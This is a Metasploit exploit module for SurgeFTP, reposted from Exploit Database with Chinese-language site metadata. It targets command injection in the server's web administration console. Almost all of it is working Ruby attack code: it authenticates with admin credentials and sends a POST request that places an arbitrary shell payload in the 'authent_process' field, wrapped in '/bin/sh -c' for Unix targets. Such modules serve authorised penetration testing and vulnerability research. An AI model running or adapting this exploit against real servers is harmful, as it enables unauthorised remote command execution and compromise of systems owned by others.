NetWin SurgeFTP – (Authenticated) Admin Command Injection (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Spencer McIntyre
  日期： 2012-12-20
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/23522/

• require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'SurgeFTP Remote Command Execution',
  			'Description'=> %q{
  				This module exploits a flaw in the SurgeFTP server's web-based
  				administrative console to execute arbitary commands.
  			},
  			'Author'	=> 
  				[
  					'Spencer McIntyre',
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  				],
  			'Arch' => ARCH_CMD,
  			'Platform' => ['unix', 'win'],
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'DisableNops' => true,
  				},
  			'Targets'=>
  				[
  					[ 'Windows', { 'modifier' => "%s" }, ],
  					[ 'Unix', { 'modifier' => "/bin/sh -c \"%s\"" }, ],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Dec 06 2012'))
  			
  		register_options(
  			[
  				OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
  				OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
  			], self.class)
  
  	end
  
  	def exploit
  		user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
  		command = target['modifier'] % payload.encoded
  		print_status("Invoking command")
  		
  		res = send_request_cgi(
  		{
  			'uri' => '/cgi/surgeftpmgr.cgi',
  			'method'=> 'POST',
  			'headers' =>
  				{
  				'Authorization' => "Basic #{user_pass}",
  				},
  			'vars_post' =>
  				{
  					'global_smtp' => "",
  					'global_restart' => "",
  					'global_style' => "",
  					'global_bind' => "",
  					'global_passive_ip' => "",
  					'global_passive_match' => "",
  					'global_logon_mode' => "",
  					'global_log_host' => "",
  					'global_login_error' => "",
  					'global_adminip' => "",
  					'global_total_users' => "",
  					'global_con_perip' => "",
  					'global_ssl' => "",
  					'global_ssl_cipher_list' => "",
  					'global_implicit_port' => "",
  					'log_level' => "",
  					'log_home' => "",
  					'global_watcher_program_ul' => "",
  					'global_watcher_program_dl' => "",
  					'authent_process' => command,
  					'authent_cmdopts' => "",
  					'authent_number' => "",
  					'authent_domain' => "",
  					'global_strip_user_domain' => "",
  					'global_noclass' => "",
  					'global_anon_hammer_over_time' => "",
  					'global_anon_hammer_max' => "",
  					'global_anon_hammer_block_time' => "",
  					'global_port' => "",
  					'global_mgr_port' => "",
  					'global_mgr_ssl_port' => "",
  					'cmd_global_save.x' => "36",
  					'cmd_global_save.y' => "8",
  				}
  		})
  		
  		if not (res and res.code == 200)
  			print_error("Failed to execute command")
  		else
  			print_status("Done")
  		end
  	end
  end